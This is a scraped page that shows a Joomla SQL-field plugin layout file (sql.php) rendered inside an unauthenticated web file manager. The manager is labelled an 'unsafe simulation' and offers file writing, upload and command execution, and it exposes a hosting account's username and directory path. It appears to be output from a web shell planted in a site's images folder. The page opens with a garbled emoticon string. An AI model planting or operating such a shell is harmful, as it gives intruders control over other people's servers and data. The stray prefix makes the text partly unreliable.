( ◞≼☸≽◟ ._ゝ◞≼☸≽◟)zcsdf吖 <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Sql
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$value $field->value;

if (
$value == '')
{
    return;
}

$db        JFactory::getDbo();
$value     = (array) $value;
$condition '';

foreach (
$value as $v)
{
    if (!
$v)
    {
        continue;
    }

    
$condition .= ', ' $db->q($v);
}

$query $fieldParams->get('query''');

// Run the query with a having condition because it supports aliases
$db->setQuery($query ' having value in (' trim($condition',') . ')');

try
{
    
$items $db->loadObjectlist();
}
catch (
Exception $e)
{
    
// If the query failed, we fetch all elements
    
$db->setQuery($query);
    
$items $db->loadObjectlist();
}

$texts = array();

foreach (
$items as $item)
{
    if (
in_array($item->value$value))
    {
        
$texts[] = $item->text;
    }
}

echo 
htmlentities(implode(', '$texts));
File Manager (Güvensiz Simülasyon)

Web File Manager (Şifresiz)

Viewing File: sql.php

📄 File Browser

Directory:

Current Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js

✏️ Write/Create File

Filename:


⬆️ Upload File

💻 Command Execution

Command:

📊 Server Info

PHP Version: 8.2.30
Server: Apache
User: sarayaglobal
Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js